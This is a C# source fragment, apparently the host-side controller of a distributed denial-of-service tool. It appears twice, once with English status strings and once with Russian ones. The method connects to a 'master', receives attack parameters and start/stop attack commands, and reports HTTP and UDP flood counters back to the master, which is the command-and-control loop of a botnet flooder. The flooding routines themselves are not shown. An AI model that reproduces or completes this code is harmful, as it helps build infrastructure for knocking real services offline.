/// <summary>
/// ПОддерживает соединение хоста с мастером
/// </summary>
/// <param name="Params"></param>
private void MaintaintHostConnection(Object Params)
{
TcpClient Connection = Params as TcpClient;
try
{
Connection.Connect(Master);
if (state != ControllerState.Suspending)
{
state = ControllerState.Suspending;
}
UpdateData("Connection to the wizard is installed");
Connection.ReceiveBufferSize = 10000;
Connection.ReceiveTimeout = 100;
NetworkStream Stream = Connection.GetStream();
bool DataCollected;
bool Finished = false;
UInt32 oldHttpCount = 0;
UInt32 oldUdpCount = 0;
UInt32 newHttpCount;
UInt32 newUdpCount;
while (Connection.Connected && !Finished)
{
DataCollected = false;
if (Connection.Available >= 1)
{
int code = Stream.ReadByte();
switch (code)
{
case (int)MessageCode.Params:
while (Connection.Connected && !DataCollected)
{
if (Connection.Available >= 2)
{
byte[] buuf = new byte[2];
Stream.Read(buuf, 0, 2); //df to add length in sendservicemsg
UInt16 len = BitConverter.ToUInt16(buuf, 0);
while (Connection.Connected && !DataCollected)
{
if (Connection.Available >= len)
{
byte[] buffer = new byte[len];
Stream.Read(buffer, 0, len);
InitParams(AttackParams.parseFromArray(buffer));
state = ControllerState.Suspending;
DataCollected = true;
UpdateData("Received settings from the master");
}
}
}
}
break;
case (int)MessageCode.StartAttack:
AttackIsAllowed = true;
Start(); break;
case (int)MessageCode.StopAttack:
AttackIsAllowed = false;
Stop(); break;
case (int)MessageCode.StatisticMessageRequest:
List <byte> msgs = new List <byte>();
msgs.Add(3);
newHttpCount = Core.HttpCounter;
newUdpCount = Core.UdpCounter;
msgs.AddRange(BitConverter.GetBytes(newHttpCount - oldHttpCount));
msgs.AddRange(BitConverter.GetBytes(newUdpCount - oldUdpCount));
oldHttpCount = newHttpCount;
oldUdpCount = newUdpCount;
Stream.Write(msgs.ToArray(), 0, msgs.Count);
break;
case (int)MessageCode.Finish:
Finished = true;
break;
}
}
}
UpdateData("Connection with the master is broken");
state = ControllerState.Error;
Stream.Close();
HostClient.Close();
}
catch (SocketException)
{
UpdateData("Unable to connect to master"); //1060 exception
state = ControllerState.Error;
}
catch (ObjectDisposedException)
{
return;
}
}
private void MaintaintHostConnection(Object Params)
{
TcpClient Connection = Params as TcpClient;
try
{
Connection.Connect(Master);
if (state != ControllerState.Suspending)
{
state = ControllerState.Suspending;
}
UpdateData("Соединение с мастером установлено");
Connection.ReceiveBufferSize = 10000;
Connection.ReceiveTimeout = 100;
NetworkStream Stream = Connection.GetStream();
bool DataCollected;
UInt32 oldHttpCount = 0;
UInt32 oldUdpCount = 0;
UInt32 newHttpCount;
UInt32 newUdpCount;
while (Connection.Connected)
{
DataCollected = false;
if (Connection.Available >= 1)
{
int code = Stream.ReadByte();
switch (code)
{
case 0:
while (Connection.Connected && !DataCollected)
{
if (Connection.Available >= 2)
{
byte[] buuf = new byte[2];
Stream.Read(buuf, 0, 2); //df to add length in sendservicemsg
UInt16 len = BitConverter.ToUInt16(buuf, 0);
while (Connection.Connected && !DataCollected)
{
if (Connection.Available >= len)
{
byte[] buffer = new byte[len];
Stream.Read(buffer, 0, len);
InitParams(AttackParams.parseFromArray(buffer));
state = ControllerState.Suspending;
DataCollected = true;
UpdateData("Получены настройки от мастера");
}
}
}
}
break;
case 1:
AttackIsAllowed = true;
Start(); break;
case 2:
AttackIsAllowed = false;
Stop(); break;
case 3:
List <byte> msgs = new List <byte>();
msgs.Add(3);
newHttpCount = Core.HttpCounter;
newUdpCount = Core.UdpCounter;
msgs.AddRange(BitConverter.GetBytes(newHttpCount - oldHttpCount));
msgs.AddRange(BitConverter.GetBytes(newUdpCount - oldUdpCount));
oldHttpCount = newHttpCount;
oldUdpCount = newUdpCount;
Stream.Write(msgs.ToArray(), 0, msgs.Count);
//stats
break;
}
}
}
UpdateData("Соединение с мастером разорвано");
}
catch (SocketException err)
{
UpdateData("Невозможно подключиться к мастеру"); //1060 exception
state = ControllerState.Error;
}
catch (ObjectDisposedException)
{
return;
}
}